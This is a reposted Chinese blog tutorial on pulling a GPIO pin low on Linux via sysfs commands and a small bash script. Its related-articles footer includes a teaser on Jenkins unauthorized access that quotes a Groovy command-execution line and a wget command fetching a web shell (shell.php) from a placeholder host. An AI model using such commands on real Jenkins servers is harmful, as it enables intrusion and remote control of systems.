Shell脚本学习笔记3——控制GPIO

摘要:
在我参与维护的一个项目中,硬件上有一处设计失误:本应该短接到地的一个GPIO没有短接到地,导致某一个功能不能实现,正式出货的时候会进行改版。但目前还处于测试阶段,只需要先把这个功能实现出来,方案有两个,一是硬件上飞线去实现,而是通过软件去拉低这个GPIO。我们可以先通过命令行来控制某一个GPIO验证一下,如果没有问题,我们再将这些命令写到脚本里,再增加一些逻辑判断就可以。

在我参与维护的一个项目中,硬件上有一处设计失误:本应该短接到地的一个GPIO没有短接到地,导致某一个功能不能实现,正式出货的时候会进行改版。

但目前还处于测试阶段,只需要先把这个功能实现出来,方案有两个,一是硬件上飞线去实现,而是通过软件去拉低这个GPIO。鉴于硬件飞线比较麻烦,所以我们选择软件上写一个脚本来实现。

我们可以先通过命令行来控制某一个GPIO(我要控制的GPIO编号是476)验证一下,如果没有问题,我们再将这些命令写到脚本里,再增加一些逻辑判断就可以。

1、首先我们来看看/sys/class/gpio/这个目录下有什么:

aplex@aplex:~$ ls /sys/class/gpio/
export  unexport  
/sys/class/gpio/这个目录是控制gpio的,而/sys/class/gpio/export文件是用于通知系统需要导出控制的GPIO引脚编号,
/sys/class/gpio/unexport文件是用于通知系统取消导出控制的GPIO引脚编号

2、既然我们要控制某一个gpio,那么就需要告诉系统需要导出控制的gpio是哪个,并且需要超级用户的权限才可以(经过验证,sudo获取临时的权限并不能执行,需要用su才可以):

aplex@aplex:~$ su
Password:
root@aplex:/home/aplex# echo 476 > /sys/class/gpio/export

一般情况下,执行了以上指令后,就可以在/sys/class/gpio/目录下找到一个gpio476的文件夹,因为我现在是在虚拟机上操作,所以并没有这个文件出现,但是有在真实环境下验证过。

3、需要设置一下gpio的方向(输入或者输出),因为我要拉低这个引脚的电平所以必须设置为输出:

root@aplex:/home/aplex# echo out > /sys/class/gpio/gpio476/direction

4、设置gpio的电平状态,这里设置为低电平:

root@aplex:/home/aplex# echo 0 > /sys/class/gpio/gpio476/value

5、执行以上命令后,退出root用户,切换到普通用户:

root@aplex:/home/aplex# exit

经过以上操作后,用万用表测量该引脚的电平,已经被拉低了。

那么接下来的工作就是写脚本了。脚本的内容如下:

#!/bin/bash

ls /sys/class/gpio
 
if [ -d /sys/class/gpio/gpio476 ]
then
	echo out > /sys/class/gpio/gpio476/direction
	echo 0 > /sys/class/gpio/gpio476/value
else
	echo 476 > /sys/class/gpio/export
	echo out > /sys/class/gpio/gpio476/direction
	echo 0 > /sys/class/gpio/gpio476/value
fi

在执行这个脚本之前需要给这个脚本执行的权限,假设这个脚本的名称保存为ioCtrlLow.sh:

aplex@aplex:~$ sudo chmod 777 ioCtrlLow.sh

接下来就是执行:

aplex@aplex:~$ sudo ./ioCtrlLow.sh

免责声明:文章转载自《Shell脚本学习笔记3——控制GPIO》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Android合并文件的三种方式代码(六)STA接入过程下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

STM32学习笔记(九) 外部中断,待机模式和事件唤醒

学会知识只需要不段的积累和提高,但是如何将知识系统的讲解出来就需要深入的认知和系统的了解。外部中断和事件学习难度并不高,不过涉及到STM32的电源控制部分,还是值得认真了解的,在本文中我将以实际代码为例详细讲解这些内容,希望对每一个阅读者有帮助。 1.外部中断 如果已经学习了SysTick系统时钟滴答实验,掌握了Cortex-M3中断的相关知识,那么外部中...

利用shell脚本调用ansible自动化实现企业备份基本环境

inotify+rsync实时监控推送NFS挂载目录脚本 #!/bin/bash Path=/data /usr/bin/inotifywait -mrq --format '%w%f' -e create,close_write,delete /data | whileread line do if [ -f $line ];the...

linux简单命令与Shell脚本

说明1、#表示root用户登录,$表示普通用户登录2、|符号是管道符,用于把|前的输出作为后面命令的输入3、>表示追加并覆盖的意思4、>>两个大于符号,表示追加命令1、cd命令:切换目录cd /home 进入/home目录cd ../返回上一级目录cd  ./当前目录2、ls命令:产看文件及目录ls  ./ 查看当前目录所有的文件和目录l...

jenkins未授权访问/弱口令漏洞

昨天晚上面试官问到了,还没来得及看,今天又问到了,猝不及防,蓝瘦,香菇、、、 今天特此总结一下,给自己一个交代。 总述:进入后台可进行如下操作: 直接执行系统命令: println "cmd".execute().text wget下载文件getshell: println "wget http://xxxx/tools/shell.php -P /t...

解决Jenkins用shell脚本部署后,Jenkins自动杀掉启衍生出来的守护进程

Jenkins部署java项目遇到的问题: 1、Jenkins执行构建后,需要手动执行startup.sh,站点才能正常访问 产生原因: shell脚本发布时,会衍生进程,Jenkins默认会自动杀掉衍生进程 解决方案: 在执行shell脚本前,加个build_ID参数即可 BUILD_ID=DONTKILLME...

nginx日志统计分析-shell

nginx日志分析常用命令,包括IP相关统计、页面访问统计、性能分析、蜘蛛抓取统计、TCP连接统计等相关命令的总结 1. IP相关统计 1.1 ip访问量统计 awk '{print $1}' access.log | sort -n | uniq | wc -l 1.2 查看某一时间段的IP访问量(5-6点) grep "07/Jan/2019:0[5-...